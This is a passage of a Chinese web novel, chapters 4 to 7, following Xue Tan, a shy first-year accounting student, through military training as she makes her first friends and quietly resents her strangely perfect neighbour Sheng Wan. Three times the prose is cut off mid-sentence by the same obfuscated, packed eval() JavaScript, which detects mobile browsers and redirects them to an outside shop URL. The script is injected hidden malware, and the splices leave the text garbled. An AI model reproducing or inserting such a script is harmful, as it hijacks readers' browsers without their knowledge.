她坐回沙发,先仔细将玩偶检查了一遍,确认没有问题后将它随手放在旁边的小桌子上,继续认真干饭。 七点半两人一起出发去学校,薛谭不喜欢说话,盛晚其实也不是个话多的人,只是他讲起话来彬彬有礼让人如沐春风,加上薛谭有意了解他,两人一路上你来我往地倒也交谈愉悦。 令薛谭震惊的是,她和盛晚不仅撞头像是邻居,两人竟然还是一个高中的。 “你也是z市一高的?”薛谭皱眉:“我怎么对你没有任何印象?”按理说像盛晚这样完美脱俗的男生,薛谭只要见过一面就不可能忘记,并且哪怕她没有见过,盛晚这种人也应该是学校里的风云人物才对,她却从未听说过。 盛晚轻轻笑了一下,解释:“我高中时身体不好,很少来学校上课。” 薛谭张口想问他现在身体好些了没,然而看到他的军训服便意识到既然能军训那身体肯定是没有问题的。可是......高中身体都差到休学养病了,现在参加一个月左右的军训真的没问题吗? 盛晚带给薛谭的那股强烈矛盾感在两人一起走到篮球场西南角时到达顶峰。 “你......”薛谭震惊地看着他在自己队伍旁边停下,军训期间每个排都是按照专业划分的,盛晚的队伍在薛谭旁边,那就说明—— 她不可置信地后退一步:“你学会计?” “是啊。”盛晚的笑容干净温和:“原来我们还是一个专业的呀,真巧呢。” 薛谭学会计是因为自己是个很没有主见的人,因为报考时不知道该选什么专业,薛韵就说让她学会计以后来家里的公司上班。虽然不知道盛晚是因为什么情况选了会计专业,但总之......还是非常出人意料啊。 眼看时间差不多了,薛谭没有继续和他唠嗑,将背包放在篮球场边缘就赶紧回到了队伍中。 教官是一位皮肤黝黑身材健硕的学姐,不苟言笑看起来十分严肃。按照身高排列好队伍后,站在最后一排的薛谭就和新同学们在太阳底下站了二十分钟的军姿。 薛谭初一和高一都分别进行过一个周的军训,她的表现向来是队伍里最好的。虽然经过三个月暑假的熬夜疯玩,身体素质下降了不少,但是和别的女孩们比起来还是要强上许多的,至少没有头晕眼花。 开局下马威后又练了一个半小时左右,教练终于大发慈悲让她们休息。腿酸脚疼的女孩们当即不管不顾坐在地上,叫苦连天。 教练虽然训练时面无表情,要求严格,但是一到休息时间就卸下了震慑学生的架子,变得亲近随和,经常和前排的女生们开玩笑,甚至应女孩们的要求用麦克风放起了歌。 坐在地上的女生们要么独自捡起水泥地上的石子划来划去,要么就是和身边认识的人讲话。 薛谭一边捏着小腿的肌肉放松身体,一边小心观察着左边的同学。 是卓钦,那个开班会时和薛谭隔了一个过道的女生,也是他们班的班长。 想起来开学前母亲来到自己房间,语重心长说的那些话,薛谭本就蠢蠢欲动的搭话念头慢慢占据了全部心神。 薛韵虽然在薛谭小时候与她关系疏远,可是那件事情发生后,这个女人几乎是密不透风地掌管着薛谭的一切,要说世界上谁最了解薛谭,不是她自己,而是薛韵。 母亲清楚明白薛谭抗拒与人交往,孤僻到有些阴暗的性子一时间难以更改,于是同意了薛谭住在外面的请求。但同时,她也希望薛谭能够在她看不见的地方努力向上生长,变得越来越好。 薛谭不想辜负母亲的期待。 该和卓钦说些什么呢? 正当薛谭绞尽脑汁思考合适的话题时,教练突然宣布要进行自我介绍,自第一排开始从左往右,有才艺的也可以表演一下才艺。 不知道是否因为身边都是女生的原因,相较于上一次小导在教室里组织的自我介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461476|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍,这一回的薛谭没有上次那么紧张了。 她双手握拳抱着曲起的双腿,暗自在心底给自己打气。她在最后一排,离自我介绍还有一段时间,要先好好想想该说些什么。 尽管教练说了有才艺的可以尽管站到前面来表演,但是大多数女生还是快速一句介绍后便连忙回到自己的位置。 轮到薛谭时,她努力平稳呼吸让自己的声音不那么抖:“大家好,我叫薛谭,来自z市......”她顿了一下,一瞬间想要就这么回去的念头在对上教官鼓励的笑容后又被她强压下去,努力说:“我这个人虽然比较宅......但对z市还是挺熟悉的,啊,也算得上比较会说话,非常欢迎大家来找我玩!” 她几句话说的前言不搭后语很混乱,引起几道笑声,但都没有恶意。薛谭有些害羞地低下头,匆匆回到后面去。 这是薛谭第一次在人群面前讲那么多的话,她用手背贴上还散发着热意的脸颊,脑子里不断回想自己刚才的表现。 “不舒服吗?”关切的声音在耳边响起,薛谭赶忙放下手向身边望去,原来是卓钦。 “啊!没事的!”薛谭急忙说,却因为没控制好声音引来前面几位同学的注视,她更加不好意思了,下意识摆摆手希望几人不要看自己了,又后知后觉察觉到自己的动作有些可笑,于是干脆逃避一般撇过头谁也不看。 好在大家也对她没什么兴趣,很快转了回去继续说话。 等到薛谭终于恢复正常,卓钦才和她攀谈:“咱俩一个班的你还记得吗?” 从前也有许多友善的女生主动和薛谭搭话,只是那个时候的薛谭性格过于敏感内向,哪怕好不容易建立起纽带,过不了多久也会不了了之。 不知道卓钦和自己交谈的目的是什么——或许只是随口一问,但对于薛谭来说这是很珍贵的善意。虽然无法预料她们今后会发生什么,甚至是否有今后也说不定,但薛谭很清楚自己的渴望与心意。 她缓缓牵起一个不那么完美的笑容,回应:“我记得的,你是班长。”末了又僵硬地补充一句:“你很厉害。” “哈哈。”卓钦发出爽朗的笑容,谦虚道:“没有啦,我也是第一次做班长,还是多亏了大家的配合。” 她坐得离薛谭近了一些,“你是从小就在z市长大吗?” “对。”薛谭点点头,想了想说:“如果你想出去玩可以找我,我陪你一起呀。” 卓钦似乎有些受宠若惊:“这也太麻烦你了。” “不会的!”薛谭也凑近了,“我平时很闲很无聊的,都没什么事干,如果有需要请务必找我!” 卓钦愣了两秒,扑哧一声笑出来,“好,一定。” 上午军训结束后,拿书包的薛谭突然被一个人重重拍了下肩膀。她以为是盛晚,不免为他的大力感到生气,然而转过头看去才发现是个瘦瘦小小的女生,心里那点气立马烟消云散了,小声问:“请问有什么事吗?” 那个女生盯了薛谭几秒,摇摇头,递过来两张票根:“这是食堂发给大一新生的20块钱饭票,班长送到宿舍了,这是你的。” 见薛谭懵懵懂懂地没有反应,她解释:“我们是一个宿舍的,我是宿舍长南采。” “噢!好的!”薛谭把书包背在身上腾出手接过来,“谢谢你。” 两人一时无言。 薛谭犹豫着转过身离开,余光瞥见到南采自然而然地和她并肩而行,心中忍不住窃喜。 她要和别人一起吃饭了!大进步! 5. 第 5 章 “孟文霖!” 首日军训结束后回家的路上,薛谭拨出孟文霖的电话,一接通就兴高采烈地和男友分享着今天发生的事。 从不太流畅但是比起之前要好很多的自我介绍,到和卓钦与南采两人的交谈,明明只是在外人看来微不足道的小事,可对于薛谭来说却是人生中少有的小幸福。 孟文霖在电话那一头安静地看着女孩欢欣雀跃的眉眼,橘红的光影随着她生动的面部表情被不断切割又重新组合,光斑好像可爱的小精灵在她的面庞舞动——这动人的一幕犹如电影的慢镜头深深印刻在孟文霖溢满温柔的眼眸之中,撩动早已沉醉其中的心弦。 “我一定能在大学交到好朋友吧?”薛谭轻盈地转了一个圈,声音饱含希望。 孟文霖脱口而出:“当然可以!”他的笑容简直比薛谭还要灿烂高兴:“桃桃真的很优秀很努力!开学还没一个周就已经成长了那么多,真是太厉害了!那两位朋友一定是因为桃桃优秀的自我介绍才关注到你的吧,果然只要桃桃愿意就没有做不到的事!” 漂亮的桃花眼笑得弯起来,真心实意为薛谭高兴的同时,孟文霖语音认真坚定:“桃桃不是说大学要改变自己,认识许多新朋友吗?今天就做的非常好哦!只要桃桃勇敢坚定地向前走,没有什么事情是做不到的!今天还只是开端,桃桃的大学四年一定能越来越好!” 男友真诚的鼓励让薛谭在甜蜜空气中跃动的心绪逐渐安定下来,她少见地露出不好意思的笑容,眼珠转开看向别处,小声说:“借你吉言啦!” 而另一边的孟文霖坐在阳台的小马扎上,愣愣地看着挂断的电话,过了许久,他突然捂住心脏,另一只手环抱着腿将头埋进臂弯,只露两只红到几乎要冒热气的耳尖。 桃桃,好可爱...... 好心情的薛谭晚上打游戏都顺利多了,她窝在沙发角落的娃娃堆里,游戏机按地飞快,中途还不忘了和几口快乐水。 终于全部通关后,已经是凌晨两点钟。她扔下游戏机拉过毛毯盖在身上,直接在沙发里闭眼就睡。 第二天早上,猛灌了一杯咖啡的薛谭困倦地来到厨房,刚刚准备做饭门铃就响了。心里猜想是盛晚找她一起去学校,不免有些抱怨怎么来得这么早。 谁料一打开房门,缠在薛谭身上的瞌睡虫瞬间被诱人的香气打跑,她顿时睁大了眼睛,视线从面前色香味俱全的美食上移到帅脸,又从帅脸下移到勾的人口水都要流出来的饭菜上。 系着粉色围裙的盛晚笑容温良贤淑,解释:“早饭不小心做得多了,不知道邻居有没有开始做饭,如果没有的话要不要来尝尝我的手艺?” 无论是帅哥美食还是身体里的懒惰因子,都让薛谭求之不得。她将门全部打开侧身让出路:“一起进来吃吧。” 这一回盛晚没有客气,向她弯了弯腰表示感谢后小心走入屋内。 薛谭不喜欢别人坐自己的沙发和床,于是从厨房里找来一个小板凳搬到桌子旁边,又帮着盛晚将饭菜和浓郁的粥摆放在桌子上。 “你的手艺很不错嘛!”薛谭端起粥喝了一口,大方夸奖。她虽然会做饭但都是为了满足生理需求的普通口味食物,孟文霖厨艺倒是不错,但还是没有办法和盛晚比。 坐在一旁的少男很有礼貌地没有到处乱看,他将自己做的馅饼往女孩那里推了推,笑道:“因为特意学过,你喜欢就好。” 真是毫不谦虚呢。薛谭不由得多看两眼也安静吃饭的盛晚,有些好奇他是怎么做到如此坦然接受别人的赞美。毕竟如果是自己的话,一定会为此惶恐不安的。 少男正在此时突然掀起眼皮看过来,两个人的目光措不及防对上,薛谭一瞬间瞪大了眼,下意识移开,而后便听到清浅的笑容响起,如春风卷动绿草,带着独属于他的柔和气息。 并不会让人觉得是在嘲笑,那么干净的笑声就像是清晨的阳光一样,然人第一时间感到温暖。然而对于本就生活在阴影中的薛谭来说,令人羡慕的温暖过后,就是被阳光夺取更多阴影后的无所适从。 心情有些郁闷,薛谭勉强笑了一下低头专心吃饭,不禁开始怀疑自己是否应该和盛晚接触。 从这一天起,盛晚好似默认了包揽薛谭早晚餐的事,每天早起和军训完拖着疲惫的身体回到家中,她都能看到丰盛的饭菜和养眼的美男等着自己。 因为不想像从前被孟文霖抢走身边所有目光一样,薛谭在学校里有意和盛晚保持距离。而这个想法不到一个周就被证实是正确的了。 盛晚由于过于出色的外貌在他们军训的这片篮球场上非常出名,许多女生都借着上厕所的名头路过盛晚所在的排偷看他。更是有些人拍到了盛晚在食堂吃饭的照片发到了校园论坛上,掀起了不小的讨论。 不过大学生们都有自己的事情要忙,惊鸿一现的盛晚作为校园话题一两天后就被大家抛之脑后了。唯一一直关注他的是大三一个名叫任诚的学哥,长相清秀,身材却十分优越,被人们称为“童颜巨肌”。 他在社交平台上有几万的粉丝,之前之前靠偷拍盛晚小火了一把,这会正将他当作流量密码想要紧紧抓住,每天都要来到篮球场偷拍盛晚。 中午在食堂吃饭时,薛谭向南采问了任诚的社交平台账号。 南采是个在外人看来有些“高冷”的女孩,她不爱说话,平时最喜欢做的事情就是发呆。刚开始薛谭还为无法和南采友好沟通而惴惴不安,很担心自己是不是被大学第一个好朋友讨厌了,不过被误会得多了的南采很快看出来薛谭的窘迫,主动解释自己很喜欢薛谭,不说话仅仅是因为觉得没什么好说的,但是和薛谭待在一起会很安心。 这样坦率的表白简直让薛谭受宠若惊,迷迷糊糊对她说了许多乱七八糟的话以表示自己也很喜欢南采,两人的关系由此变好了很多。 南采没有关注过这些,不过宿舍群里之前八卦过这个人,于是她翻了翻聊天记录找到任诚的平台主页,递给薛谭。 欸? 薛谭惊讶,她接过手机不好意思地道歉: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461477|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “抱歉......没有注意到群聊信息。”其实是因为群聊太火热自己插不进去感到很伤心所以开了免打扰...... 南采抬头,透过镜片看了薛谭一眼,淡淡说:“没什么。”说罢,又补充了一句:“我也不怎么看。” 薛谭赶紧照着图片上的信息搜到任诚的账号,然后将手机还给南采。 晚上回到家后,薛谭点开任诚的主页直接私聊他:【把盛晚的视频删了。】 那边过了很久才回了一个问号。 薛谭盯着手机屏幕的眼中,厌恶有如实质一般流露出来,【根据我国法律规定,未经肖像权人同意,任何组织与个人不得制作、使用、公开肖像权人的肖像,立刻删除盛晚的视频,否则报警处理。】 任诚那边又是过了许久才回复:【你谁】【你不是盛晚吧】 薛谭:【我是盛晚他妈。】 那边很快转变了语气:【阿姨你好,是这样的,我是跟盛晚一个学校的学哥,您家儿子长得很帅,网上很多小姐姐都可喜欢他,我本来也只是想着记录一下生活,没有别的意思】【而且您看这个视频这么火,就算我删了网上也还是会有他的照片传播】 薛谭没有耐心:【最后一次机会,一分钟之内再不删除我就报警了。】 俗话说贵气养人,虽然盛晚总是穿着一件迷彩服,但是任诚不难从那个男生平时的一举一动中看出来少男出身很好,不是他这种普通人能招惹的。本来也只是抱着侥幸心理拍他,以为少男不会在意,没想到竟然被他妈妈找上了门。 手机另一边的任诚有些犹豫,他才靠着盛晚涨了三万粉丝,刚刚接了一个广告,实在不想将到手的流量就这么放起了。到底只是个普通大学生,任诚不敢赌对面是不是认真的,只好先赶紧删除视频,省得对面真的报警了。 薛谭一分钟后刷新他的主页,发现视频已经没有了,于是又给他发消息:【以后再敢偷拍盛晚就等着退学吧。】 这话说得很严重,不禁加大了任诚心目中对面有权有势的这一猜想的可信度。等到半夜三点,害怕地睡不着觉的任诚打开手机,苦思冥想编辑了一段小作文道歉发过去,结果对面把他拉黑了。 第二天早上去学校时,薛谭对盛晚说:“盛晚,你以后还是低调点吧。” 盛晚挑眉,眼含笑意:“怎么这么说?” 薛谭把昨晚和任诚的聊天记录给盛晚看,语气很认真:“男孩子家家的,抛头露面不好。” 少男接过手机,一条一条将上面的消息看完,第一眼惊讶浮现在脸上后,然后涌出来的就是真诚的感动,丝毫没有为薛谭自作主张而产生的烦恼。 “谭谭——啊,我可以这么叫你吗?你对我也太好了吧!真的太感谢你了,我为这件事苦恼了很久呢。”他将手机还给薛谭,“完全没有想到谭谭会为我做这种事,能够认识你真是太好了!” 他看向薛谭的目光里好似有数不尽的温柔在流淌,风过林梢,晨光倾洒其中,两者似乎要融为一体。 6. 第 6 章 ......谭谭? 薛谭忍不住在心里嘀咕,他们已经熟到起小名的地步了吗? 其实要求任诚删掉关于盛晚的视频,与其说在帮助男孩,倒不如说是出于薛谭不为人知的卑劣心理——她不想让盛晚暴露在公众面前。 他们并肩而行,薛谭低下头静静看着地上清瘦的身影,忌恨与占有的欲望在内心深处交织缠绕,难分彼此。 她是个小心眼的女人,面对盛晚超乎寻常的完美,最初的惊艳过后,羡慕逐渐淹没在灵魂沼泽之中,发酵成为难以言喻的忌恨。凭什么他那么优秀,凭什么人人都喜欢他,凭什么他能坦然地接受身边一切,而她对任何好意都必须小心翼翼惶恐不安。 藏匿在阴影里的人面对那些能够自由沐浴在阳光之下的家伙,有的会奋力挣扎,向着温暖明亮的原处奔跑;有的却只会继续卑微地躲在暗无天日的角落里,满怀怨恨地注视着他们,然后恶劣地想象高岭之花被拉下神坛后的模样。 薛谭就是后者。 “谭谭。” 独自瞎想的薛谭被耳边清朗温润的少年音吓得跳开,与少男同款震惊的大眼睛对上,她有些不自在地摸了摸鬓发,“怎么了?” 盛晚双手合十,笑容温润动人:“为表感谢,中午我请谭谭吃饭吧。” “不行。”薛谭毫不犹豫拒绝,“中午我要和......朋友一起吃饭。”她说到“朋友”两个字时顿了一下,似乎有些不好意思,但最终还是有些脸红地喊出了这个称呼。 朋友......薛谭在此刻突然意识到,她也是有朋友的普通女孩了——尽管只是单方面的。 “你在说什么?”食堂里,南采皱着眉头看向因为“私自”把她当作朋友讲给别人听而忐忑不安的薛谭,语气很不理解:“这有什么好道歉的,我们本来就是朋友啊。” “欸——”薛谭瞪大眼睛猛地从凳子上蹦起来,巨大的动静引起周围人的瞩目,被十几到视线包围的薛谭宛如断了电的机器一般静止了五秒钟,而后而然双手捂住通红的脸不好意思地坐回去。 南采咬着筷子面无表情地盯着对面的薛谭,面对女孩的胆小与敏感早已经习以为常。她伸出手安慰性地摸了摸薛谭毛茸茸的脑袋,掀起眼皮偶然撞上不远处一双沉静的漆黑眼眸——是盛晚。 肮脏黏稠的黑泥积聚在少男的眼底,让人无端想起倾盆大雨的夏夜里,因为没有下水道而盛满了脏水的低沟,是无人愿意踏足的角落。 她轻柔薛谭脑袋的手忽地顿住两秒,下移停在女孩意外有力的肩膀处,拍了拍。 薛谭脸上还带着热意,小心抬起头来便见到南采朝自己身后指了指。她疑惑地扭头望去,便见到美丽精致的少男朝自己露出一个纯粹矜贵的笑容,与身后杂乱而吵闹的食堂环境形成鲜明对比,好似天使下凡。 “你说他呀。”薛谭回过头,眼睛一眨不眨地盯着南采,小声说:“他就是盛晚呀,任诚视频里那个男生。” 南采的目光依旧停留在原处盛晚的身上,迟迟没有等来回应的薛谭呼吸逐渐加重,她握紧了拳头,指甲深深嵌入掌心,笑容有些勉强地提醒:“南采?”如果、如果南采也被盛晚吸引,那么薛谭真的无法确定自己会对盛晚做出什么事。 其实薛谭高中时期有过一个关系很好的同桌,之所以说是同桌而不是朋友,就是因为那个时候孟文霖常常来到班级角落里找薛谭讲话,同桌与孟文霖一来二去就熟悉了。不出意外,就像学校里每一个被孟文霖吸引的人一样,同桌也对这个优秀的男生产生了极大的兴趣。 面对薛谭来自己家玩的邀请,同桌毫不犹豫拒绝了,原因是她要看孟文霖的演讲比赛。 所以说,这类人都已经有用那么多人的喜爱了,为什么还要从她这个一无所有的人身边抢走仅有的温暖呢? 薛谭身上的低落有如实质,女孩像是一株顶着乌云的小草蔫蔫的。敏锐的南采几乎立刻意识到薛谭又想多了,可自己并不擅长说一些肉麻的话来安慰人,于是只能硬着头皮讲出自己的疑虑:“感觉盛晚有些奇怪。”不,实际上是非常奇怪。 “欸?”薛谭愣了一下,没有想到南采能够发现这一点,她点点头:“我知道的。” 这回倒轮到南采惊讶了,“他是你朋友啊?” 薛谭立即反驳:“当然不是,我和他根本不熟!”她生怕南采因为这一点疏远自己,连忙解释:“我和他是邻居,帮他也只是闲得无聊,我们关系不好的。”又小声补充:“只有你是我的朋友。” 南采愣了一下,反应过来薛谭这句话的意思是她是朋友而盛晚不是,虽然可能是无心之言,但她还是有些抗拒这种“只有自己拥有”的感情,这样沉重的友谊让她感到很有压力。 南采没有再说什么。 这一天之后,薛谭能够很明显感受到南采在慢慢疏远自己,比如从前一起走在路上时,虽然两人话很少,但是南采偶尔也会主动和薛谭说两句话。但是现在—— 薛谭默默走在南采身边,因为察觉到两个人之间交流越来越少,她难得想出了几个话题递给南采,然而换来的却是女孩冷淡的回复——甚至有时只会点头或是摇头。 怎么会这个样子? 为什么就在她以为自己从过往灰暗的人生中才成功蜕变,将要迎来充满希望与光明的大学生活时,一切又回到了过去。 是不是自己的性格太讨人厌了? 深夜蜷缩在沙发里的薛谭呆滞的目光落在游戏机上,用红色线条圈起来的“失败”两个字占据了二分之一的屏幕,这并不是很难的关卡,尤其对于实力碾压对面怪兽毫无压力的薛谭来讲。 她面无表情地推出失败的界面,游戏机扔在地上,踢掉身上的毛毯和玩偶走下沙发,径直打开门走出去。 手掌落在盛晚家门前突然停下来,走廊的声控灯不知道为什么没有亮,薛谭低下头只能看到尽头窗户里月亮照过来后在自己脚下形成的阴影。 影子被拉的很长,薛谭站在原处甚至一眼望不到头。 她突然放下了一直举着的手臂,也放过了或许正在熟睡中的盛晚,脚步一转向着影子的方向踩过去,一直来到背月的另一方窗户前,影子也随之消失不见。 军训快要结束了,炎炎夏日已经过去,白天的空气中尚且带有一丝凉意,更不要说此刻的深夜。 月明星稀,灰蓝的天空哪怕没有点点星光依旧如明镜反光,亮堂而高远。 薛谭大力打开窗户,啪嗒的声响让人忍不住庆幸这一层只有薛谭和盛晚两个人。轻柔的晚风等到窗户大开几秒过后才悠悠吹进来,不高不低的楼层使其带着绿色树木的清香却不至于染上现代都市里难闻的油烟味。 这几天盘踞在心头的焦虑也好似被周身温柔的风擦去,就像从前薛韵为薛谭轻轻擦掉被男同学砸在身上的泥巴一样。 薛谭从小就不是个受欢迎的孩子,她没有与同龄人相似的兴趣爱好,因为过于内向而在某些时候显得像个呆板的“傻子”,班级里的女生都有自己的朋友和圈子,如果不是坐在一起,几乎不会主动与经常和孟文霖待在一起的薛谭接触。哪怕接触了,成功交往了几天,也只会和现在的南采一样慢慢疏远。 和一个人相处不来或许是双方性格不合适,和每个人都相处不来那就是薛谭自己的原因了。 说到底问题在于她。 有时候薛谭也产生过“干脆自己一个人吧”“朋友有没有都是无所谓的啦”的想法,但是—— 今晚天空的颜色是如此漂亮,风也很温柔,而她不想孤独地欣赏这一切。 薛谭猛地后退一步,纠缠成杂乱线团的思绪豁然清晰明了起来,她毫不犹豫转过身回到房间拿起油画笔和画纸,然后趴在窗边的墙壁上一笔一笔画下外面动人的夜景。 第二天薛谭起来的很早,没有到盛晚那里一起用早餐,而是自己五点半就起来做饭又做好了两块蛋糕,和昨天晚上的画一起装到书包里带去学校。 明天就要结束军训了,或许是因为有南采的陪伴,本来应该痛苦难耐的时光竟然也变得短暂了。这一天大家都有些心浮气躁,训练时也有气无力的不愿意使出全力。 教官是只比她们大了一届的学姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461478|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然平时训练时十分严格,但是很能共情现在的学生们。于是提出“休息可以,但是下午要全神贯注好好训练。”——这是为了明天的阅兵做准备,辛苦了一个月就为了那一天,大家哪怕心里再怎么恨军训,也希望自己的辛苦能得到回报,因此都没有抱怨什么。 休息时,卓钦走到篮球场边缘帮薛谭拿过水杯,薛谭道谢后接过来喝下去大半杯。 “要不要一起去接水?”卓钦摇了摇自己空荡荡的水杯。 薛谭下意识看向南采,她正在玩腿边的小石子,矿泉水瓶里的水很多,只喝了几口。 “好的。” 她站起身来跟着卓钦一起来到学院帐篷那里,两人停留在帐篷下摸鱼时,卓钦用胳膊捣了捣薛谭:“你知道z市有什么好玩的地方不?” “好玩的地方?”薛谭摇了摇头,她轻易不出门,哪怕出门也只是到公园里找一处幽静的地方静静坐着,对于z市的娱乐场所还真的不了解。她握着杯子的手微微用力,犹豫两秒询问:“怎么突然问这个?” 卓钦的笑容爽朗平和,很容易让人放松下来,“哦,是这样的,我们专业的几个班长商量了一下,打算假期来了后组织一场团建,新同学之间也能互相熟悉一下。但是你也知道嘛,我是外地人,对于z市不是很熟悉,网上搜攻略也都是广告,很担心到时候找错了地方大家玩的不开心。” 她笑得弯起眼睛:“吃饭的地方也可以,玩什么找不出来的话就交给另外两个班长去想好了。” 薛谭立刻想到了高中毕业时聚餐的饭店,她张了张口,忽然想到万一她们不喜欢怎么办,于是到嘴边的名字又被她硬生生咽回去,只是摇了摇头:“我很少出去玩,不是很清楚。” 不知道卓钦是不是看出来什么,挑了挑眉,没有再向薛谭咨询这些事。 中午放学的哨声一响,薛谭一改之前慢悠悠的状态和众人一起冲向放书包的地方,却还是被着急干饭的同学们挤到后面。她焦急地向左右踱步想要寻找可以插过去的缝隙,急得额头都是汗。 肩膀忽然被人重重拍了一下,薛谭瞬间回头看过去,果不其然是拎着两个包的南采。 薛谭从南采手中接过自己的书包,又被瘦小的女孩拽紧袖子拉着离开人群。 “今天怎么那么急?饿了吗?”终于远离人群的南采放松下来,拿出纸巾擦掉脸和脖颈上的汗水,她很爱出汗,松松散散军训一上午身上就都是汗珠。擦完脸和手后,她又揪出来两张纸给薛谭,开玩笑:“怎么连你也出汗了,不会是被我传染的吧?” “因为太紧张了。”薛谭擦过头的汗珠,将纸巾握紧吸干手心的粘腻。 今天南采的话多了一些,女孩不明所以地问:“紧张什么?” 低着头的薛谭深呼吸一口气,默默想象心中有一个强大勇敢的小人在为自己加油打气,而后猛地抬起头认真看向身边的南采,满脸凝重道:“对不起,南采。” “......嗯?”南采脚步慢下来。 薛谭对着女孩说完这句话就又泄下气来,她不好意思盯着南采的清凌凌的眼睛看,于是转过头,将上午在内心重复了很多遍的话慢慢说出来:“我是一个不擅长交际的人,实不相瞒,你是我的第一个朋友,所以我很珍惜你。那一天在食堂里说的话完全出自我的内心,但是对于南采来说一定会有压力的吧?” 她的脸上带着谦卑的笑意:“如果有人对我说,我是她唯一的朋友这种话,我一定会感到非常的幸福和开心,但是随之而来的就是为了回馈这份喜爱而不得不放在身上的压力。那天的话是我说的太随便了,和南采成为朋友不只是我一个人的重要之事,也是与南采密切相关的事情——但我只考虑了自己的感受,如此随意地把感情交付给南采真的非常抱歉!” 薛谭从书包里拿出昨晚画的画和自己做的小蛋糕,“这是我喜欢的东西,想分享给南采,也是赔礼。因为、”她停顿了一下,终于抬眼直视南采:“因为我想和南采继续做朋友,我喜欢南采。当然,我也希望我们以后能够有更多的朋友。”她补充了一句:“我们一起。” 7. 第 7 章 “不好意思啊薛谭,误会你了。一直以为你是胆子很小的人,但其实你比我要勇敢很多。” 南采的话像是一块巨石砸进薛谭心窝,激起层层涟漪。 这是薛谭第一次被人称赞“勇敢”。 军训闭幕仪式这一天下着蒙蒙细雨,然而如何糟糕的天气在“可恶的军训终于要结束了”面前,就显得微不足道了。 薛谭带着鸭舌帽低头坐在小马扎上,费力躲避着有些刺人的雨滴。 沾着水滴的手机屏幕里不断弹出孟文霖的消息,大部分都是在讲放假回到z市后要做什么。 【我们正好比桃桃早一天放假,到时候我去接桃桃吧!】 薛谭快速打字:【不用了,我们军训完没有课,我不用待在学校里,一会闭幕仪式结束后就直接走了。】 【晨露姐来接我。】 两人聊天经常是孟文霖噼里啪啦发一堆消息,薛谭捡其中感兴趣的某条回复。至于别的没有得到回应的消息,孟文霖也不去纠结或是一直缠着询问,好像只是随口一提。 【猫猫开心JPG.】 【那桃桃可以来接我嘛!】 【好喔。】 刚刚发送消息,队伍后面就传来一阵骚动。现在的薛谭不需要特意查看就已经猜到一定是盛晚来了。 事实上,现实生活里的美女帅哥很多,但是哪怕他们从大家面前经过,普通人也只是默默在心里感叹,并不会真的像杰克苏电视剧里惊叹不已。 但是盛晚是例外。 他不是单纯的帅,而是帅得过分美丽了。那是无法用任何语言来形容的完美五官,连它们之间的排列都像是上帝用尺子精心量过一样,毫无瑕疵。足以让人一见倾心的五官和天使一般矜贵高雅的气质结合起来使本就优越的外形更加吸引人。 薛谭这两天早上都没有去盛晚家里吃饭,在学校里碰上也都是目不转睛走过去,不愿意分他一个眼神。 盛晚起初有些委屈,但是薛谭对他来说大概就和现在的牛毛细雨一样,会对他造成影响,但是很少——并且很快就烟消云散了。毕竟他是那么优秀的盛晚,怎么可能在意薛谭这么个小人物呢。 和南采把两人之间的矛盾说开后,南采再一次提起了她觉得盛晚不对劲这件事。 其实不只是南采,薛谭在和盛晚认识的第一天就发觉了少男的奇怪之处。 薛谭只是内向不爱与人接触,但她不是傻子。 因为总是不自觉被盛晚吸引,所以每次观察少男时薛谭都会注入十二分的精神,甚至称得上全神贯注了。 温和从容的笑容如同面具一般压在盛晚的脸上,却无法掩盖少男冰冷的眼神。 在薛谭和盛晚接触的一个月里,她没有从少男黑曜石一般纯净神秘的眼眸中捕捉到任何笑意。 盛晚一直在薛谭面前装模作样。 薛谭往上翻了翻孟文林的消息,其中几条是在邀请她一起去动物园,听说z市动物园有一只网红猴子,因为长得过于像京剧脸谱而小火了一把。 薛谭点击引用:【好啊,带着万晨霜一起去吧。】 万晨霜是万晨露的亲弟弟,比薛谭小了三岁,今年上高一。她难得对孟文霖多了几分耐心,解释:【这个月我妈生日,万林鹏带她去加拿大玩了。而且开学时挺麻烦晨露姐的。】 手机另一侧的孟文霖顿时皱起眉头,心疼不已。桃桃实在是太懂事了,对于别人的任何好意都要想办法还回去,明明不需要分那么清的…… 他赶忙回复:【好!!】 万晨露正在外面等着自己,薛谭本想闭幕仪式结束后直接走,结果突然接到班级群里的通知说一会要到学院楼那边开一个会。 真是开不完的会。 薛谭苦着一张脸在手机上敲敲打打删删改改才给万晨露发出消息让她先走,自己还需要一段时间才能结束。 那边过了一会才传来消息:【就是为了接你才来这的。】 【我是说,不用急,我会等着你。】 点点笑意浮现在薛谭眼中,嘴角不受控制牵起。 “和男朋友发消息呢?” 